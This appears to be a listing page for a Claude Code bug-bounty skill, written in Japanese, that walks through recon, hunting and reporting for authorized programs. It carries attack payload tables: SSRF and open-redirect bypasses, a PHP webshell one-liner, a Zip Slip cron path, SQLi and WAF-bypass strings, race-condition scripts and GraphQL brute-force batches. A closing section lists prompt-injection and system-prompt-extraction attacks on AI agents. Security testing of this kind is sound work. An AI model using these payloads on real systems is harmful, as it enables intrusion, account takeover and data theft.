mcpField
B
bug-bounty

bug-bounty

github.com/uphiagoセキュリティ1.3k47 回インストール8 週間前に更新
リポジトリ

bug-bounty について

bug-bountyは、セキュリティ研究者向けの脆弱性調査スキルで、偵察から検証、報告までを扱います。現実の影響を実証することを重視し、関連する脆弱性をたどって攻撃チェーンを探します。

主な機能

  1. 01偵察から報告までの手順
  2. 02実証可能な影響を重視
  3. 03兆候から関連バグを追跡
  4. 04チェックリストと異常検知の併用
  5. 05一般的なセキュリティテストツールの参照

活用シーン

  1. 01バグバウンティの偵察
  2. 02発見事項が実害を生むかの評価
  3. 03確認済みバグ周辺のエンドポイント検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill bug-bounty

インストール後、Claude Code で/bug-bountyを入力して読み込まれたか確認します。

詳細

バグバウンティの完全なワークフロー

完全なパイプライン:偵察 → 学習 → ハント → 検証 → 報告。すべてを網羅する1つのスキルです。

重要なのは、この問いだけです

「通常とは異なる操作を何もしていない実際のユーザーに対して、攻撃者は今すぐこれを実行できますか? また、実害(資金の窃取、個人を特定できる情報(PII)の漏えい、アカウントの乗っ取り、コード実行)は発生しますか?」

答えが「いいえ」なら、そこで止めてください。書かないでください。それ以上調査せず、次に進んでください。

理論上のバグは時間の無駄です。以下はすぐに切り捨ててください。
パターン切り捨てる理由
「理論上は可能性がある……」悪用できないものはバグではありません
「X、Y、Zの条件がそろえば、攻撃者が……」前提条件が多すぎます
「実装は誤っているが、実用上の影響はない」誤りでも無害ならバグではありません
バグを含むデッドコード到達できないものはバグではありません
秘密情報を含まないソースマップ影響がありません
DNS コールバックのみの SSRFデータの持ち出しか、内部へのアクセスが必要です
オープンリダイレクト単体アカウント乗っ取り(ATO)または OAuth の連鎖が必要です
「連鎖の一部として利用できる可能性がある……」まず連鎖を組み立ててから報告してください

実害を実証する必要があります。「可能性がある」だけではバグではありません。動作することを証明するか、切り捨ててください。


重要なルール

  1. まず対象範囲全体を読む -- すべてのアセット/ドメインが対象組織の所有物であることを確認してください
  2. 理論上のバグは報告しない -- 「攻撃者は今すぐ資金を盗む、PII を漏えいさせる、アカウントを乗っ取る、またはコードを実行できますか?」できないなら、そこで止めてください。
  3. 弱い発見はすぐに切り捨てる -- 報告を書く前に、7つの質問による判定を実施してください
  4. 書く前に検証する -- まず CHANGELOG、設計ドキュメント、デプロイスクリプトを確認してください
  5. 一度に調べるバグクラスは1つだけ -- 広く浅くではなく、深く調べてください
  6. データがすでに公開されていないか確認する -- API の「漏えい」を報告する前に、シークレットモードで Web UI を確認してください
  7. 5分ルール -- 5分間調査しても対象から何も得られない場合(すべて 401/403/404)、次に進んでください
  8. 影響を優先してハントする -- 「認証が破られた場合、最悪何が起きるか?」と問いかけてください。価値のあるものが何もなければ、その対象はスキップしてください
  9. 認証情報の漏えいには悪用の証拠が必要 -- キーを見つけただけでは不十分です。そのキーで何にアクセスできるかを必ず証明してください
  10. 浅い偵察を延々と続けない -- 403 を調査しない、分析用キーを grep しない、進展につながらないステージングドメインを調べないでください
  11. 脆弱性クラスよりビジネスへの影響を重視する -- 重大度は脆弱性の種類だけでなく、状況によって決まります
  12. 対象を深く理解する -- ハントを始める前に、実際のユーザーのようにアプリを使って学んでください
  13. 自動化に過度に頼らない -- 自動スキャンは WAF に阻まれ、レート制限を発動させ、誰もが見つけるのと同じバグを見つけます
  14. 競争の少ない脆弱性クラスをハントする -- XSS/SSRF/XXE は競争が最も激しい領域です。キャッシュポイズニング、Android/モバイルの脆弱性、ビジネスロジック、競合状態、OAuth/OIDC の連鎖、CI/CD パイプライン攻撃にも対象を広げてください
  15. 1時間ルール -- 1つの対象に1時間取り組んでも進展がない場合は、コンテキストを切り替えてください
  16. 2つの視点で取り組む -- 体系的なテスト(チェックリスト)と異常検知(予期しない挙動への注意)を組み合わせてください
  17. T字型の知識を身につける -- 1つの分野を深く掘り下げ、ほかのすべての分野について幅広く学んでください

ハント手法の全容(5段階の非線形ワークフロー、開発者心理のフレームワーク、セッションの規律、フェーズ別のコマンドラインの使い分け、Wide/Deep のルート選択)については、**skills/bb-methodology/SKILL.md**を参照してください。


A→B バグシグナル手法(クラスター探索)

バグ A を見つけたら、近くにある B や C も体系的に探してください。 これはバグバウンティで最も強力な手法の1つです。単独のバグでも報奨金は得られますが、連鎖すれば3~10倍の報奨金になります。

既知の A->B->C チェーン
バグ A(シグナル)バグ B の調査C へのエスカレーション
IDOR(読み取り)同じエンドポイントで PUT/DELETE を試すアカウントデータを完全に操作
SSRF(種類を問わず)クラウドメタデータ [REDACTED_IP]IAM 認証情報を窃取 -> RCE
XSS(格納型)セッション Cookie に HttpOnly が設定されているか確認セッション乗っ取り -> ATO
オープンリダイレクトOAuth redirect_uri が自分のドメインを受け入れる認証コード窃取 -> ATO
S3 バケットの一覧表示JS バンドルを列挙OAuth client_secret を grep -> OAuth チェーン
レート制限の回避OTP をブルートフォースアカウント乗っ取り
GraphQL のイントロスペクションフィールド単位の認可がないPII の大量窃取
デバッグ用エンドポイント環境変数の漏えいクラウド認証情報 -> インフラへのアクセス
CORS がオリジンを反映credentials: include を指定してテスト認証情報を使ったデータ窃取
Host ヘッダーインジェクションパスワードリセットのポイズニングリセットリンク経由の ATO
クラスターハントプロトコル(6 ステップ)
1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
実例

Coinbase の S3->バンドル->シークレット->OAuth チェーン:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna チャットボットのチェーン:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

トップ 1% ハッカーのマインドセット

エリートハッカーはどう違う考え方をするか

平均的なハンター:ツールを実行し、チェックリストを確認し、30 分後に諦めます。 トップ 1%:アプリの内部構造について、頭の中にモデルを構築します。「このように動作するのはなぜか?」と問いかけます。「このエンドポイントは何をするのか?」ではなく、「どのようなビジネス上の判断から開発者はこのように構築したのか、そしてどんな近道を選んだ可能性があるか?」と考えます。

ハント前のメンタルフレームワーク

ステップ 1:最重要資産を考える

何かに触れる前に、こう問いかけます。「自分が攻撃者で、このアプリに対して 1 つだけ何かできるとしたら、最も大きな損害をもたらすのは何か?」

  • 金融アプリ -> 資金を引き出し、攻撃者のアカウントに送金する
  • 医療 -> PII の漏えい、HIPAA 違反
  • SaaS -> テナント間のデータ漏えい、管理者アカウントの乗っ取り
  • 認証プロバイダー -> SSO チェーン全体の侵害
ステップ 2:開発者の立場で考える

その機能を構築した開発者のように考えます。

  • 最も簡単な実装方法は何か?
  • 午前 2 時に疲れた開発者なら、どんな近道を選ぶか?
  • 認証チェックはどこで行われるか――コントローラーか、ミドルウェアか、DB 層か?
  • エンドポイント A を経由せずにエンドポイント B を呼び出すと、何が起きるか?
ステップ 3:信頼境界のマッピング
Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
ステップ 4:機能間の相互作用を考える
  • この新機能は既存の認証を再利用するか、それとも独自の認証を備えているか?
  • モバイル API は Web アプリと認証ロジックを共有しているか?
  • この機能を構築したのは同じチームか、それともサードパーティか?

トップ 1% のメンタルチェックリスト

  • アプリの中核となるビジネスモデルを把握している
  • 実際のユーザーとして 15 分以上アプリを使った
  • 技術スタック(言語、フレームワーク、認証システム、キャッシュ)を把握している
  • このプログラムで開示されたレポートを少なくとも 3 件読んだ
  • テスト用アカウントを 2 つ用意してある(攻撃者 + 被害者)
  • 主な標的を決めた:今日探す最重要資産を 1 つ

トップハンターから学ぶマインドセットのルール

「エンドポイントではなく機能を狙う」 -- ある機能を提供するエンドポイントをすべて見つけ、その間の相互作用をテストします。

「認可の不整合は味方」 -- アプリが 9 か所で認証をチェックし、10 か所目でチェックしていなければ、それがバグです。

「新しい機能 == 未レビュー」 -- 直近 30 日以内に公開された機能は、セキュリティ成熟度が最も低いものです。

「二次的な影響を考える」 -- 二次的な SSRF:URL が DB に保存され、cron ジョブによって取得されます。二次的な XSS:安全な形で保存されても、管理パネルで安全でない形でレンダリングされます。

「金の流れを追う」 -- 支払い、請求、クレジット、返金に関わる機能では、開発者が最も多くセキュリティ上の近道を選びます。

「モバイルアプリが使う API」 -- モバイルアプリは古い、または異なるバージョンの API を呼び出すことがよくあります。同じ会社でも攻撃対象領域は異なり、セキュリティ成熟度も低い傾向があります。

「差分からバグを見つける」 -- 古い API ドキュメントと新しいものを比較します。モバイル API と Web API を比較します。無料ユーザーがリクエストできる内容と、有料ユーザーがレスポンスで受け取る内容を比較します。


ツール

Go バイナリ

ツール用途
subfinderパッシブなサブドメイン列挙
httpx稼働中のホストを調査
dnsxDNS 解決
nucleiテンプレートスキャナー
katanaクロール
waybackurlsアーカイブ URL
gau既知の URL
dalfoxXSS スキャナー
ffufファザー
anew重複を除いて追記
qsreplaceパラメーター値を置換
assetfinderサブドメイン列挙
gfGrep パターン(xss、sqli、ssrf、redirect)
interactsh-clientOOB コールバック

必要に応じてインストールするツール

ツール用途インストール
arjun隠しパラメーターの検出pip3 install arjun
paramspiderURL パラメーターの収集pip3 install paramspider
kiterunnerAPI エンドポイントのブルートフォースgo install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenumクラウドアセットの列挙pip3 install cloud_enum
trufflehogシークレットのスキャンbrew install trufflehog
gitleaksシークレットのスキャンbrew install gitleaks
XSStrike高度な XSS スキャナーpip3 install xsstrike
SecretFinderJS シークレットの抽出pip3 install secretfinder
sqlmapSQL インジェクションpip3 install sqlmap
subzyサブドメイン乗っ取りgo install github.com/LukaSikic/subzy@latest

静的解析(Semgrep による簡易監査)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF の高度なテクニック

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI 支援ツール

  • strix (usestrix.com) -- 初期スイープを自動化するオープンソースの AI スキャナー

フェーズ 1:偵察

標準的な偵察パイプライン

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

クラウドアセットの列挙

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API エンドポイントの検出

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne スコープの取得

curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

クイックウィンのチェックリスト

  • サブドメインの乗っ取り(subjack、subzy)
  • .git の公開(/.git/config)
  • env ファイルの公開(/.env、/.env.local)
  • 管理パネルのデフォルト認証情報
  • JS シークレット(SecretFinder、jsluice)
  • オープンリダイレクト(?redirect=、?next=、?url=)
  • CORS の設定不備(Origin: https://evil.com と認証情報を使ってテスト)
  • S3/クラウドバケット
  • GraphQL イントロスペクションが有効
  • Spring Actuator(/actuator/env、/actuator/heapdump)
  • Firebase の読み取りが公開(https://TARGET.firebaseio.com/.json)

技術のフィンガープリンティング

シグナル技術
Cookie:XSRF-TOKEN + *_sessionLaravel
Cookie:PHPSESSIDPHP
ヘッダー:X-Powered-By: ExpressNode.js/Express
レスポンス:wp-json/wp-contentWordPress
レスポンス:{"errors":[{"message":GraphQL
ヘッダー:X-Powered-By: Next.jsNext.js

フレームワーク別クイックウィン

Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1 Node.js:/.env、/graphql(イントロスペクション)、/_debug AWS Cognito:/oauth2/userInfo(Pool ID が漏えい)、CORS が任意のオリジンを反映

ソースコードの偵察

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
言語別 Grep パターン
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

フェーズ 2:学習(ハント前の情報収集)

公開済みレポートを読む

# By program on HackerOne
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

「変更点」メソッド

  1. 類似技術についての公開済みレポートを探す
  2. 修正コミットを取得する
  3. 差分を読み、アンチパターンを特定する
  4. 対象を検索し、同じアンチパターンを探す

脅威モデルのテンプレート

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

トップレポートから得られた 6 つの重要パターン

  1. 機能の複雑さ = バグの攻撃対象領域 -- インポート、統合、マルチテナンシー、複数ステップのワークフロー
  2. 開発者間の実装の不統一 = 最も強い証拠 -- ある箇所では timingSafeEqual、別の箇所では ===
  3. 「else 分岐」のバグ -- プロキシ/ゲートウェイの else パスで、検証せずに未加工のトークンを渡す
  4. インポート/エクスポート = SSRF -- 「URL からインポート」する機能には、過去に例外なく SSRF が存在
  5. 二次/レガシーエンドポイント = 認証なし -- /api/v1/ は保護されているが、/api/ は保護されていない
  6. 金融処理における競合ウィンドウ -- 確認と減算を 2 つの DB 操作で行うと、二重支払いが発生する

フェーズ 3:ハント

メモシステム(これなしでハントしないこと)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

サブドメインの種類 -> 調査戦略

  • dev/staging/test:デバッグ用エンドポイント、無効化された認証、詳細なエラー
  • admin/internal:デフォルトの認証情報、IP バイパス用ヘッダー(X-Forwarded-For: 127.0.0.1)
  • api/api-v2:kiterunner で列挙し、古い未保護のバージョンを確認
  • auth/sso:OAuth の設定ミス、redirect_uri のオープンリダイレクト
  • upload/cdn:CORS、パストラバーサル、格納型 XSS

CVE を起点とした監査アプローチ

  1. CVE 評価セットを作成する -- 対象のコードベースに関する過去の CVE を 5~10 件収集します
  2. 過去のバグを再現する -- 古いコードでそのパターンを見つけられることを確認します
  3. パターンを現在のコードに照合する -- 現在のコードで同じアンチパターンを検索します
  4. 広い攻撃対象領域に注目する -- JS エンジン、パーサーなど、信頼できない外部入力を処理するもの

Rust/ブロックチェーンのソースコード(実践から得た教訓)

パニックが起きる経路:エンコードとデコード -- エンコード経路での .unwrap() は、攻撃者が引き起こすことはできません。悪用可能なのは、ネットワーク入力のデシリアライズ/デコード時に発生するパニックだけです。

「既知の TODO」は緩和策ではありません -- // Votes are not signed for now のようなコメントがあっても、安全であるとは限りません。

確認済みの脆弱性からパターンをもとに調査する -- verify_signed_vote に問題がある場合は、verify_signed_proposal と verify_commit_signature も確認します。

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

脆弱性調査チェックリスト

IDOR -- 安全でない直接オブジェクト参照

報奨金の支払対象となる Web2 の報告のうち、30% を占める最多の脆弱性クラスです。

IDOR の種類(10 通りのテスト方法)
種類テスト内容
V1:直接URL パスのオブジェクト ID を変更します /api/users/123 -> /api/users/456
V2:ボディパラメーターPOST/PUT の JSON ボディ内の ID を変更します {"user_id": 456}
V3:GraphQL ノード{ node(id: "base64(OtherType:123)") { ... } }
V4:バッチ/一括/api/users?ids=1,2,3,4,5 -- 複数の ID を一度にリクエストします
V5:ネスト親 ID を変更します:/orgs/{org_id}/users/{user_id}
V6:ファイルパス/files/download?path=../other-user/file.pdf
V7:予測可能連番の整数、タイムスタンプ、短い UUID
V8:メソッドの切り替えGET が 403 を返す場合、同じエンドポイントで PUT/PATCH/DELETE を試します
V9:バージョンのロールバックv2 がブロックされている場合、同じエンドポイントで /api/v1/ を試します
V10:ヘッダーの挿入X-User-ID: victim_id、X-Org-ID: victim_org
IDOR テストチェックリスト
  • 2 つのアカウントを作成します(A = 攻撃者、B = 被害者)
  • A としてログインし、すべての操作を実行して、リクエスト内のすべての ID を記録します
  • B としてログインし、B の認証情報を使って、A の ID を指定した A のリクエストを再送します
  • ID を入れ替えてすべてのエンドポイントを試します -- GET だけでなく、PUT/DELETE/PATCH も試します
  • API v1/v2 の違いを確認します
  • GraphQL スキーマで node() クエリを確認します
  • WebSocket メッセージにクライアント指定の ID がないか確認します
  • バッチエンドポイントをテストします(複数の ID をリクエストできますか?)
  • 想定外のパラメーターを追加して試します:?user_id=other_user
IDOR の攻撃チェーン(高額の報奨金)
  • IDOR + PII の読み取り = 中程度
  • IDOR + 書き込み(他者のデータを変更)= 高
  • IDOR + 管理者エンドポイント = 重大(権限昇格)
  • IDOR + アカウント乗っ取りにつながる経路 = 重大
  • IDOR + チャットボット(LLM が他のユーザーのデータを読み取る)= 高

SSRF -- サーバーサイドリクエストフォージェリ

  • クラウドメタデータを試します:http://[REDACTED_IP]/latest/meta-data/
  • 内部サービスを試します:http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB)
  • すべての IP バイパス手法をテストします(下の表を参照)
  • プロトコルのバイパスをテストします:file://、dict://、gopher://
  • 次の箇所を調べます:Webhook URL、URL からのインポート、プロフィール画像の URL、PDF 生成ツール、XML パーサー
SSRF IP バイパステーブル(11 種類の手法)
バイパスペイロード備考
10 進数 IPhttp://2130706433/127.0.0.1 を単一の 10 進数で表記
16 進数 IPhttp://0x7f000001/16 進数表記
8 進数 IPhttp://0177.0.0.1/8 進数の 0177 は 127
短縮 IPhttp://127.1/省略表記
IPv6http://[::1]/IPv6 のループバック
IPv4 マップ IPv6http://[::ffff:127.0.0.1]/IPv4 マップ IPv6
リダイレクトチェーンhttp://attacker.com/302->http://[REDACTED_IP]各ホップを確認
DNS リバインディング127.0.0.1 に名前解決するドメインを登録最初の確認時は外部、フェッチ時は内部
URL エンコードhttp://127.0.0.1%[email protected]パーサーの混乱
囲み英数字http://①②⑦.⓪.⓪.①Unicode 数字
プロトコルスマグリングgopher://127.0.0.1:6379/_INFORedis/その他のプロトコル
SSRF の影響チェーン
  • DNS のみ=情報提供レベル(報告しないでください)
  • 内部サービスにアクセス可能=中
  • クラウドメタデータを読み取り可能=高(鍵の露出)
  • クラウドメタデータとキーの流出=クリティカル(クラウド上でコード実行)
  • Docker API にアクセス可能=クリティカル(直接的な RCE)

OAuth / OIDC

  • state パラメーターの欠落 → CSRF
  • redirect_uri がワイルドカードを許容 → ATO
  • PKCE の欠落 → コード窃取
  • インプリシットフロー → リファラー経由でトークンが漏えい
  • 認証後のリダイレクトにオープンリダイレクト → OAuth トークン窃取チェーン
オープンリダイレクトのバイパステーブル(11 種類の手法)

オープンリダイレクトを OAuth コード窃取につなげる際に使用します。

バイパスペイロード備考
URL の二重エンコード%252F%252F二重デコード後に // になる
バックスラッシュhttps://target.com\@evil.com一部のパーサーは \ を / に正規化
プロトコル省略//evil.comプロトコル相対 URL
@ トリックhttps://[email protected]target.com がユーザー名になる
プロトコル相対///evil.comスラッシュ 3 つ
タブ/改行の挿入//evil%[EXAMPLE_DOMAIN]ホスト名に空白文字を含める
フラグメントトリックhttps://evil.com#target.comフラグメントで検証を誤認させる
ヌルバイトhttps://evil.com%00target.com一部のパーサーはヌルで切り詰める
パラメーター汚染?next=target.com&next=evil.com最後の値が優先される
パスの混同/redirect/..%2F..%2Fevil.comリダイレクトでのパストラバーサル
Unicode 正規化https://evil.com/target.com見た目による混同

ファイルアップロード

ファイルアップロードのバイパステーブル
バイパス手法
二重拡張子file.php.jpg、file.php%00.jpg
大文字・小文字の変更file.pHp、file.PHP5
代替拡張子.phtml、.phar、.shtml、.inc
Content-Type の偽装PHP コンテンツに image/jpeg ヘッダーを付与
マジックバイトGIF89a; <?php system($_GET['c']); ?>
.htaccess のアップロードAddType application/x-httpd-php .jpg
SVG XSS<svg onload=alert(1)>
競合状態クリーンアップの実行前にアップロードして実行
JPEG/PHP ポリグロット有効な JPEG であり、同時に有効な PHP でもあるファイル
Zip Slipアーカイブ内のファイル名に ../../etc/cron.d/shell を指定
マジックバイトのリファレンス
種類16 進数
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04

競合状態

  • クーポンコード/プロモーションコード
  • ギフトカードの引き換え
  • 資金の送金/引き出し
  • 投票/評価の上限
  • 競合状態を利用した OTP 検証のブルートフォース
seq 20 | xargs -P 20 -I {} curl --max-time 30 --connect-timeout 10 -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- シングルパケット攻撃(すべてのリクエストを同時に到着させる)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

ビジネスロジック

  • カート内の負の数量
  • 価格パラメーターの改ざん
  • ワークフローのスキップ(例:チェックアウトせずに支払う)
  • 登録フィールドを利用したロールの昇格
  • ダウングレード後も特権が保持される

XSS -- クロスサイトスクリプティング

XSS シンク(これらを grep で検索)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS チェーン(Medium から High/Critical にエスカレーション)
  • XSS + 機密性の高いページ(銀行、管理者)= High
  • XSS + CSRF トークンの窃取 = CSRF バイパス -> Critical な操作
  • XSS + サービスワーカー = 複数ページにまたがる永続的な XSS
  • XSS + 偽のログインフォームによる認証情報の窃取 = ATO
  • チャットボットの応答に含まれる XSS = 格納型 XSS チェーン

SQL インジェクション

検出
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi
最新の SQLi WAF バイパス
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

イントロスペクション(単独では Informational ですが、攻撃対象を明らかにします)
{ __schema { types { name fields { name type { name } } } } }
フィールドレベルの認可の欠如
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
バッチ攻撃(レート制限のバイパス)
[
  {"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
  {"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
  "...100 more..."
]

LLM/AI 機能

  • LLM に渡されるユーザー入力を介したプロンプトインジェクション
  • AI が処理するドキュメント/URL を介した間接的なインジェクション
  • チャット履歴の IDOR(会話 ID を列挙)
  • ロールプレイ/エンコーディングによるシステムプロンプトの抽出
  • コマンドラインの不正利用によるコード実行を介した RCE
  • ASCII スマグリング(LLM の出力に含まれる不可視の Unicode)
エージェント型 AI の調査(OWASP ASI01-ASI10)

対象にコマンドラインへアクセスできる AI エージェントがある場合、以下の 10 種類の攻撃クラスをテストします。

ID脆弱性クラステスト内容
ASI01プロンプトインジェクションユーザー入力でシステムプロンプトを上書きし、エージェントにルールを無視させる
ASI02ツールの不正利用攻撃者が制御するパラメーターで AI にツールを呼び出させる(「URL を取得」を介した SSRF、コードコマンドラインを介した RCE)
ASI03データの持ち出しコンテキストを漏えいさせる細工したプロンプトを使って、トレーニングデータ/PII を抽出する
